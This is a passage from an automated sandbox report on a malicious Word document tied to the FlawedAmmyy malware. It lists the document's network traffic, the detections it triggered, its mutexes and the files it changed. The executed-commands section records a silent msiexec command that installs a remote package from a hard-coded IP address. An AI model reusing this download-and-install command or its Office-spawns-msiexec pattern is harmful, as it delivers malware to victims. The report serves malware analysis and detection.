  820. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\\\xd8\\xf5\\xa3\\x8e{3\\xe9n\\x19ithr\\xe7e\\xee\\xc5\\xac\\xbc(\\xd3\\x837\\x93_\\xe3<\\xec\\x975sef\\x94@\\xaf\\x9a\\xf2\\xce+\\x80\\x14i\\x97\\xdb\\xde\\xd0w\\x9ew\\x13\\xa4wflk\\xf5\\xbf\\x92\\xb2s\\xd2 \\xc1\\xc0\\xcd\\x9a(\\x83o\\xdc\\x01\\xc0\\x19\\x19\\xfcg\\xe5\\x1f\\xc3\\xfd\\xcd\\xf4\\x9b\\xbd\\xd3\\xa6\\x0e\\xce5\\xce\\x06ao\\x03\\x14\\x1e3\\x96 h\\xa8\\x14\\x8cu-c\\xe4\\x1ff\\xff\\x90\\xed\\x0bqn\\xe0\\xbb\\xc5h\\xc4\\x1e7d\\xfe\\x98\\x93!\\xae>g\\x11\\x01\\xc3#8*\\xcb\\x80\\x84\\xca\\x12g\\xc5 \\xfdf&\\xda\\xeb\\xad\\xc1\\x99\\xcd\\xeeb#\\xa5\\x85\\x95\\xfb{gl\\x11\\xf0\\x8c\\xf8\\x16\\x1e\\xb5\\x9dgsy\\xcd}\\x84\\x97\\x85\\xd1t\\xeah_\\xf6\\x9ct\\x03\\\\x0b\\xfd\\xd8j\\xeb\\xf9\nw\\xdc\\xff$z\\x07\\xf9\\xff\\xf0n\\xa2\\xca@6b_\\x16)\\xb5\\x1b\\xdfq\\xe4\\xa8t\\x94=\\xd7@\\xceg\\xad\\xads\\xa5\\x99\\x93>\\xae|;+\\xf8\\xea\\x98\\xc9\\x0b1\\x14\\xe3\\x96\\x05\\x0c"
  821. },
  822. {
  823. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010c\\x0e\\x17\\x07i\\x0e\\x8f\\xa0v\td\\xaa\\xd5\\xd0\\x13\\xf4\\x04\\xde\\xf2\\xefr\\x16y\\x97\\x05\\x8a\\xb9\\xe4y\\xb6\\x0c\\x17\\xa1\\x94\\xba\\xdd\\xbc\\xdb6\\xe0\\x86\\xa0\\xe9,!t\\x00s\\x80]\\xa7\\x88\\x1c\\xfci\\xb2d&\\xae\\xb6\\xfa\\x87\\xe6\t<\\xb9j\\x81\\x83\\xc5]\\xd6\r*\\xb8z\\i4\\xdf\\x9d\\x15j3\\xe4\\x1ae\\xe7\\xcfx\\x96p(t@d\\xd4\\xe0\\xe2\\xef\\xbd\\x80\\xfcx\\xc2\\xa0b\\xb9\\x86`p\\xbd\\x0b\\xaa\\x1a\\xf7l\\x8e0^\\xa3\\xc1\\xcdk\\xac\\xf3p\\x01\\x97\\xef'\\x1d)ap\\xf7[\\xdau2\\xca%\\xffy\\xe3\\x8ao\\xf1\\x81\\xb9x\\x81\\xb7\\xd7)\\xbe\\x06\\x18t6\\x98\\x1c{\\x86k\\xfe\\x9b:\\xce0\\xec>k\\x1a\\xa7t2\\xda\\xf1\\x12%1+`\\xadn\\xdd\\x89\\xc8\\xeem<x\\x1d\\xe4g\\xb6g\\xe4\\xc9\\xd9d\\xc4\\xb0:\\xc77\\xdfa.\\xf5w\\xf591\\xd8\\xf5\\x8bx\\xc7\\x0c\\xed/\\x02\\xa0\\x05\\xc1p]\\x98o\\xf5\\x95k_\\xc2[\\x9c\\x05\\xfdl\\x9d\\xaa:\\xa3&y\\x0c\\xafp\\xbe"
  824. },
  825. {
  826. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfb\\xafv\\x9a(\\x00r9vy\\x8b-\\xf9o\\xa7$\\xa5t\\xc5^\\xd1\\x13\\xb7j\\x1f\\xfd\\x02\\x8e\\xc3\\x8fxd\\xaa&b\\x9d\\xe154i~\\xd5k!\"\\x88\\xee8\\x18\\xd3\\xf1e\\x81\\xe5ic\\xcb*|\\xb0\\x19\\xcb:\\xa7\\xc8v\\xd7k\\x14a\\xdb\tv\\x91?g\\x93.#\\x87)@m\\xc5\\xde\\x0c2\\xf4p\\x95\\xf4\\x92\\x9e\\xe6\\x82\no\\xb2\n\\xe3\\xd0_|\\x13\\xe5\\xc5uu\\xfck\\xf6\\xa9\\xa2\\xacm\\xear\\xb2-\\xf3\\x05\\x830\\xb1j\\xf8\\xfb\\<\\xd6[\\xcan\\x1b\\x1b\\xf0\\xc6\\x80o\\xe5a<`\\xf7\\xf8gs\\xd7ov\\x8f7\\x88\\xea\\xd8s/\\xfe\\xc9\\x14-\\x1c\\xd4d\\xa6\\xe3\\xec\\xaf1\\x92{\\x8d\\x1b\\x85\\x89\\xf7\\xe0\\xc88[\\x81\\xcd\\xfd^\\x9bg\\xc5\\xd1\\xf4-\\xcf>\\xa9\\xa40\\xdc\\xb7y6\\xb8\\xb9h=\\x14l\\xdfe\\xb0\\xd8\\x89b\\xbd0\\xa7z\\x1b\\x82\\xd6\\xd8\\xe4_n\\x12ce\\x85\\xf3\\xa3\\xa8d-pk_\\xf8\t\\x08\"\\x94hg\\xc1g=\\x89\\xc6-\\x12\\xa18\\xbe"
  827. },
  828. {
  829. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf6\\xaeqqc\\xbc\\xd8jdl\\x1e\\x1e;|!\\x1c{\\xce.bwr\\xa8\\x97k\\x0esi\\x12\\x01j\\xa6}\\x85\\x9b~\\xac,l\\x0b\\xb8\\x1f\\x9euld\\xb3\\x07\\x91l\\xa2\\xeb\\x17s\\xbb\\xe1\\xf2\\xa0\\xfa\\xf2\\xe4=\\x16\\xee\\x85d\\x80\\x87\\x04~he\\x1e\\xb1\\x9f\\x83\\xf4\\xd7byb\\xedn\\xfa\\xa2\\xd4\\x7f\\xb6\\x96\\x8a\\xd3-a=\\xe8\\xe0\\xf2\\xd5h%\\x03:s\\xa6\\xe2\\xdd\\xed6\\xeditne=e\\x113\\xb4\\xe1\\xb6\\x9f\\xa8(\\xe95l\\xf7b\\x06\\xec\\xcd\\xad3\\xa1\\xc3\\x06@5|a=\\xf1xp\\xee$\\x8b|\\x04\\x80\\x9b[]u\\xde\\xf7>\\xb9\\x11q\\xac\\xc9u2c'\\xae\\x8e\\xb4\\x10\\xc3\\xeb[b6\\xb8\\xa8a:\\xc0t\\xc6\\x8es8\\xa4\\xbc\\xf9,l\\xf2\\xe5\\xe3\\x16t2\\x0c\\x9d \n\\x05\\xf6#\\xc9\\xe8\\x1e\\xd4\\x7f|\\xa3dcp\\xec\\x98\\xca\\xe7\\xa1)v\\xf77\\xb7\\xe3)\\x95o\\xd4\\x11\\xad\\xcbn\\g\\xb3\\x9b\n\\xecj\\xb7\\xcb\\xb1\\xb1\\xa7~\\x1cl@\\x9b\\xa8p"
  830. },
  831. {
  832. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010j\\x0bn\\xc5x\\x8c\\x12ox\\x98\\x9e@\\xf7\\\\x03v$\\xe3\\x90\\xf2\\xb9\\x0f\\xe9\\x83weu\\xc6q*)\\x9b\\xbf\\xabn\\xed9\\xdd\\x87c6\\xfa7\\\\xed\\xb9o\t\\xc6p)\\x88\\xd05\\xfd\\xf8\\xe8\\x16uyo\\xc2\\x0c\\x96\\x8f \\xe8\\xe7a\\xda\\x1dm\\xcf5\\xc2\\xb2v/\\xe0\\x11\\xc1\\xcf\\xdd\\xc5\"\\x14fn\\x02\\xf1\\x1bx~\\x89\\x8a;\\xe1\\xf2\\xb6\\xaf\\x02syf\\xfav\\xa1\\x8f\\xacq@\\x00\\xe0\\xf7\\x0b;\\xc3l\\xf3k}l\\x98\\x8c,\\xd2*\\xe1\\xa8\\xef|h\\x8e\\x12\\x89\\xf0\\xad,\\xd2\\x82,\\x84|\\x008\\x9c\\xb0x\\xa9\\xa5\\xc2\\xc5>\\x97*\\xcf\\x8ao\\xa2\\xff\\x7f\\xafb\\xd7\"\\xe8wi\\xda\\xbe\\xb5\\xfa\\x1b\\xe9\\xb0\\xd7\\xf9i?\\x1f\\x83\\xe0\\xb0\\xa8+8\\xb1h\\xd4\\x068\\x1a\\xa7[\\xd3\\xb4z\\xb3\\xe5\\xc3\\xfe_:;\\xb1,\\x16r\\x19\\x0cy;\\x16$\\x99bz\\xa6_n\\x00\\xa5\\x07\\x19\\xe9\\xb3(\\xed8\\xaar\\x93d03&\\xf2\\x13g\\xf8f\\x87\\xefj\\x03\\xc7\\xcd\\xce\\xa0\\xef\\x8a"
  833. },
  834. {
  835. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1f\\xfb\\xce\\x0f\\xd8\\xec$j\\xda\\x84>\\x86\\xcf\\xa5h\\n\\x86\\xc9\\xeb\\xba\\xba\\x91\\xc6\\xa5.\\x88\\xd4\\x87\\xea\\x05\\xe2\\xc0x\\xe2\\xe8x\\xad\\x07!\\xe3\\x97\\xc3@\\xb4\\x00\\xa6\\x07 \\x08\"\\x9b\\x00\\x96\\xa0\\x10\\x86o\\xdf\\xc2w1\\x02:\\x99\\x80f<\\xfa\\x07\\xcdm\\x93\\x06x\\xbd\\xaa\\xd1\\xb8\\xc7\\xebk$\\xe0jrs\\xd7\\xe1\\xc5\\xeb\\xc4\\xf2\\xac\\x97\\xe9\\xa5\\xe2\\xe8?z=w\\xe8|\\x1am\\x98u\\x86\\xdbm \\x95\\xf9\\x8f]\\xa5?2m\\x89la2\\x9c\\xed*\\xba\\xabm\\x10\\xc3-u\\xeb \\xba\\xf3\\x89\\x10\\xba\\xb3nf\"\\xda\\x0c*\\xbe\\xdcx\\xac\r\\xd0i\\xbd\\xb1e\\x1d\\xab?\\xc1e\\x85\\xe0zd[\\xe1\\xc5\\xd0\\xcf\\xdco(\\x8b\\x05\\x13\\x84?7\\x9d\\xed\\x98\\xca\\xec\\xfe\t\\xaf\\xda\\x00\\x8c\\xeb`%a\\xd8\\xfc\\xa3\\xa0\\x070o\\xc8g\\xa1\\xe7\\x93j\\x9d\\x06h\\xb4ii\\xc26\\x9f\\x8f\\xc4\\xac\\xb6^\\xf0\\x9eh-\\xa1v\\xa6\\x81\\x93z\\xfey@\t\\x1e\\xa8\\xdc\\x03\\x90;6.\\x89\\x1czx\\xf8"
  836. },
  837. {
  838. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x93\\xd7\\xa5\\xd8\\xf0y~\\xd5\\xbc\\xd4k=y\\x83\\xb1\\xd0\\x9ecoj\\xb0n2\\x93ds\\xa3?^nu!b\\xcf\\x86\\xa2\\xe6\\x8bs\\x96\\xac\\x13\\xc1\\xe5dh\\x0c \\x87.#i9~@%wznmf\\x13ga>\\xe2\\x1dr\\xa4m3\\x9d\\x9a\\xcf\\xdf\\x99\\x96(\n\\x1clpv\\x81\\xd66\\x93\\x81~\\x1al\\xaa\\xb54m\\x02,?\\xb6 \"\\x85-\\xc3'\\x1c`g\\x10\\x1f\\x0f\\xda\\x17\\xd6d\\xab\\xef\\x17\\x19\\x87\\xb3&\\xedz\\xef\\x8c\\x99\\xd0~\\x9ac\\x04\\xb6n\\x90\\x9fs^&\\x0b\\xa3g\\x81\\x92\\x00\\x8e\\x8b\\xd9k\\xa40\\xb8\\xf5\\x8c\\x06\\x92?'\\xfb<\\x83s6\\x8f\\x88\\x8es\n\\xbal\\x15c\\x0f1\\xf3\\x97yv.y)\\xf8\\xf2\\x88\\x10\\xce\\xb6\\xf3f{fe\\x01u2\\xc9]\\xc8\\xe7\\xc1\\xeeo#\\x9d\\xbb-\\x1b\\x17\\x91\\xc5\\xb9\\xdd\\xd7\\x9ff\\x16\\x7f\\xf1\\xfb\n\\x91\\xe3\\xd6\\x8a\\xbe\\x03\\x89\\xde\\xc2w\\x1b\\xfd\\x0cx\\x8e\\xa2\\x03u\\x86:5\\x1e\\x13f\\x06,e\\xb2\\x00\\xf6\\x1b"
  839. },
  840. {
  841. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010m$\\xda\\xeb\\x15\\xa1`\\xae\\x93\"n4c\\x93\\xbb\\xb8h6\\xe7\\x8a,\\xf7\\xd8\\xa3\\xea\\xebh\\x05#\\x16\\xfc\\x10\\x1d\\x84h\\x1fmn`\\xed\\xc3z\\xb2@\\xad\\x10o\\x08\\x9fgy\\xdd\\xb7i\\xf3\\x9av?\\xbc#=\\x06@\\xe5z\\x8f\\xb267\\x1a5\\x85\\x1c\\xad\\xfb\\x87w\\xc5\\xb6\\xb3=\\xf0vi-\\xf5\\xcc\\x9bkt\\x1ai\\x15ey\\xb4\\x90\\xf2x\\xf3\\xcc\\xcft\\x84\\xf7\\xddxfwf\\xacv\\x7f\\x08\\x8faw\\xc3{\\xde\\xa3\\x10\\xf9\\xce}\\x9cq\\xca\\xb2\\xa6\\x9a<\\x91\\x83\\xfa\\xc7u\\x040\\x96\\xb7\\xf5\\xe1\\xc6\\xda\\xd7,\\x86~\\xd6\\xe2\\x8f\\x1c\\xce]\\xadfl\\xe0\rkg\\xf49v\\xa8)\\x81\\xf4\\xbf\\xdd\\xfat-\\xdb\\xfej\"e\\xe9\\xdd\\xe2\\xee\\xd2\\x84u\\xfc\\xb3\n\\xcb\\x15\\xc31\\x86a\\x86\\x0b\\x90\\xe7\\xf2dvr9\\x1bn\\xbfvf\\xcc`\\xc6\\xbe\\xfbc\\xb5\\x84\\x17\\xf7\\xe2t\\x85\\x9fv\\xe79n\\xadjme!\\x01\\xdcy\\x93\\x8av|=\\x90\\x83\\xb3b\\xc5@t\\xf4h\\x0b\\x91"
  842. },
  843. {
  844. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x97\\x98\\xbcc\\xeb\\x98\\xf3\\xce\\xe4\\x95\\x97\\xe9\\xdc\\xc7\\x0fuyk\\xa9\\xad}h\\x8e\\xe9\\xca`\\xfd\\xd3!g\\x8f\\xed\\xa1\\xe1|\\x87\\xd8oj{x6\\xe4\\xde\\xfc\\x89\\xac\\xcf\\xebn\\x89n\"\\xf7$\\xb0t'd+,g7\\xa9\\xcb\\x1f\\xca#\\xeave\\xe0\\xe6\\x89\\xf9\\x181\\xb2\\x92\\xc4\\xf2\\x87>$\\xf1\\xa9\\xd0k\\xd8\\xe4\\xf3\\x9fhgd\\xec=\\xaf\\xaf\\x92g\\xaa\\xd5\\x9b41>\\x8b\\xff\\xbe\\xa9\\x03e\\xac\\x8d(\\xf4\\xfd~\\x16\\xb5&b\\x10\\xd5#\\xa5\\xa35}-\\xedn()3]fn\\x89\\xe9\\x9f\\xd47\\xd2\\xdd\\xb0\\x12\\xc8\\x81x\\x94b6\\x95\\xf1\\xf9z\\x16u\\xc3!'\\x02\\xebq\\xdc6v\\xc7\\\\xb5\\xf1\\xfftc\\xc5\r\\xa2\\x1c\\xf3\\xa7\rz\\xa9\\xb4k@\\x8az\\xaf48\\xdf@\\x96 \\xd8~!\\xb3,\\x90yx\\x0cv\\xb9gw\\xbf\\x97\\x13\\xb1\\x0c\\xe0\\x9d\\x01\\x1b\\x89\\x07\\x03\\x97\\xd1\\xa7^)\\x1e\\xd87oa\\xdc\\xdd\\x07\\x108.0\\xe8/|\\xf4b#\\xb5\\xaa\\xeag\\xd3\\xe6"
  845. },
  846. {
  847. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  848. },
  849. {
  850. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  851. },
  852. {
  853. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: wed, 22 may 2019 05:00:43 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  854. }
  855. ]
  856. },
  857. {
  858. "Description": "Martian Subprocess Started By Office Process",
  859. "Details": [
  860. {
  861. "office_martian": "c:\\windows\\syswow64\\msiexec.exe"
  862. }
  863. ]
  864. },
  865. {
  866. "Description": "The office file has 2 macros.",
  867. "Details": [
  868. {
  869. "malicious_author": "The file appears to have been created by a known fake author indicative of an automated document creation kit."
  870. },
  871. {
  872. "numerical_last_saved": "The file was last saved by a numerical author rather than a word/name indicative of an automated document creation kit."
  873. }
  874. ]
  875. },
  876. {
  877. "Description": "The office file created a suspicious child process.",
  878. "Details": [
  879. {
  880. "Processes": "WINWORD.EXE -> msiexec.exe"
  881. }
  882. ]
  883. }
  884. ]
  885.  
  886. [*] Started Service: [
  887. "osppsvc"
  888. ]
  889.  
  890. [*] Executed Commands: [
  891. "msiexec /q step1=commonl step2=files /i http://54.38.127.28/pm4"
  892. ]
  893.  
  894. [*] Mutexes: [
  895. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  896. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  897. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  898. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  899. "CicLoadWinStaWinSta0",
  900. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  901. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  902. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  903. "Local\\{F99C425F-9135-43ed-BD7D-396DE488DC53}",
  904. "Global\\_MSIExecute"
  905. ]
  906.  
  907. [*] Modified Files: [
  908. "C:\\Users\\user\\AppData\\Local\\Temp\\flawedammyy_987bd2361c0ed6e05400b027c113be44.doc",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF808B505E5C95B8DF.TMP",
  910. "C:\\Users\\user\\AppData\\Local\\Temp\\~$awedammyy_987bd2361c0ed6e05400b027c113be44.doc",
  911. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{C5359041-0EF9-47CF-B51F-736E99C0B35D}.tmp",
  912. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  913. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{1E20F026-B413-4C45-80C4-6FA27DE011F5}.tmp",
  914. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{BB6D113E-B691-462F-8497-98F43FE6E7D3}.tmp",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF661630026B4C7EF9.TMP",
  916. "C:\\Users\\user\\AppData\\Local\\Temp\\VBE\\MSForms.exd",
  917. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  918. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  919. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  920. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\CabEB3E.tmp",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\TarEB3F.tmp",
  923. "C:\\Users\\user\\Application Data\\Microsoft\\Forms\\WINWORD.box",
  924. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF1DD2AFC98378AD5B.TMP",
  925. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF4777A60A7BAE9E94.TMP",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF8589B288A1AFB784.TMP",
  927. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1389.tmp",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\cab13B8.tmp",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\cab13C9.tmp",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\cab13CA.tmp",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1477.tmp",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\cab162D.tmp",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\cab165D.tmp",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\cab166E.tmp",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\cab167F.tmp",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\cab16ED.tmp",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\cab171D.tmp",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\cab173D.tmp",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\cab174F.tmp",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\cab174E.tmp",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\cab17DC.tmp",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\cab17DD.tmp",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\cab180D.tmp",
  945. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  946. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\cab188B.tmp",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab18AB.tmp",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar18AC.tmp",
  950. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18EC.tmp",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18FD.tmp",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18FE.tmp",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18FF.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\cab193E.tmp",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1980.tmp",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD195E.tmp\\pictureorgchart.glox",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1990.tmp\\Element design set.dotx",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD196F.tmp\\iso690nmerical.xsl",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD195E.tmp\\Content.inf",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1990.tmp\\Content.inf",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\cab19FF.tmp",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1A0F.tmp",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1A3F.tmp",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD196F.tmp\\Content.inf",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1A8E.tmp",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1AAE.tmp",
  968. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  969. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ABF.tmp\\sist02.xsl",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1B8B.tmp",
  972. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224[[fn=iso690nmerical]].xsl",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ABF.tmp\\Content.inf",
  974. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab1C1B.tmp",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1C3C.tmp",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1BFB.tmp\\ieee2006officeonline.xsl",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar1C3B.tmp",
  979. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158[[fn=Element]].dotx",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1B9C.tmp\\Content.inf",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1BFB.tmp\\Content.inf",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1C6C.tmp\\RadialPictureList.glox",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1CFA.tmp\\HexagonRadial.glox",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1C6C.tmp\\Content.inf",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1CFA.tmp\\Content.inf",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D29.tmp\\APASixthEditionOfficeOnline.xsl",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D59.tmp\\chevronaccent.glox",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D6B.tmp\\rings.glox",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D5A.tmp\\turabian.xsl",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D8B.tmp\\TabbedArc.glox",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1E0A.tmp",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DAB.tmp\\ThemePictureAlternatingAccent.glox",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D6B.tmp\\Content.inf",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D59.tmp\\Content.inf",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DAB.tmp\\Content.inf",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D8B.tmp\\Content.inf",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E0B.tmp\\gosttitle.xsl",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1E9A.tmp",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D29.tmp\\Content.inf",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E89.tmp\\architecture.glox",
  1001. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227[[fn=sist02]].xsl",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ECA.tmp\\harvardanglia2008officeonline.xsl",
  1003. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E89.tmp\\Content.inf",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D5A.tmp\\Content.inf",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E0B.tmp\\Content.inf",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1FC5.tmp",
  1008. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222[[fn=ieee2006officeonline]].xsl",
  1009. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox",
  1010. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab20B3.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\cab20C5.tmp",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ECA.tmp\\Content.inf",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar20B4.tmp",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2081.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A2.tmp\\PictureFrame.glox",
  1017. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox",
